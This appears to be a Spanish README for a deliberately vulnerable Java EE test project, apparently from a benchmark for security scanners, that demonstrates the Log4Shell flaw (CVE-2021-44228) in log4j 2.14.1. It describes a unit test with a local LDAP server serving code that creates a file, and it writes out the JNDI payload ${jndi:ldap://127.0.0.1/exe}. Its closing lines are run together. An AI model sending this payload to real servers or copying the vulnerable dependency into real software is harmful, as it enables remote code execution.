
proyecto web jee con vulnerabilidad log4shell (CVE-2021-44228)
Este es un proyecto web simple con una vulnerabilidad log4shell.
El proyecto define un servicio get scabench.HelloWorldService que devuelve una cadena de texto plano hello world.
El servicio no espera parámetros, y si se encuentran parámetros, se registra un error.
La dependencia vulnerable es org.apache.logging.log4j:log4j-core:2.14.1, la vulnerabilidad es CVE-2021-44228.
Esto requiere unix o macos. Es fácil portar este proyecto a windows.
Se proporciona una prueba unitaria para demostrar la vulnerabilidad. La prueba requiere un servidor ldap que proporcione código vulnerable, el ejecutable correspondiente es proporcionado por el proyecto, está definido en un proyecto separado https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept basado en https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. El fixture de prueba manejará el inicio y apagado del servidor ldap.
La prueba creará un archivo foo basado en un comando codificado incrustado en el código del servidor ldap al que se conecta log4j
(touch foo). Este servidor puede ser controlado por un atacante.
Para ejecutar la prueba, construye el proyecto con mvn test.
mvn jetty:runjava -jar dodgy-ldap-server.jar (el código vulnerable descargará código Java de este servidor)http://localhost:8080/, este sitio contiene un formulario pre-rellenado con una carga maliciosa ${jndi:ldap://127.0.0.1/exe}foo en el servidorHay varios scripts sh para ejecutar diferentes análisis, los informes de resultados se pueden encontrar en scan-results.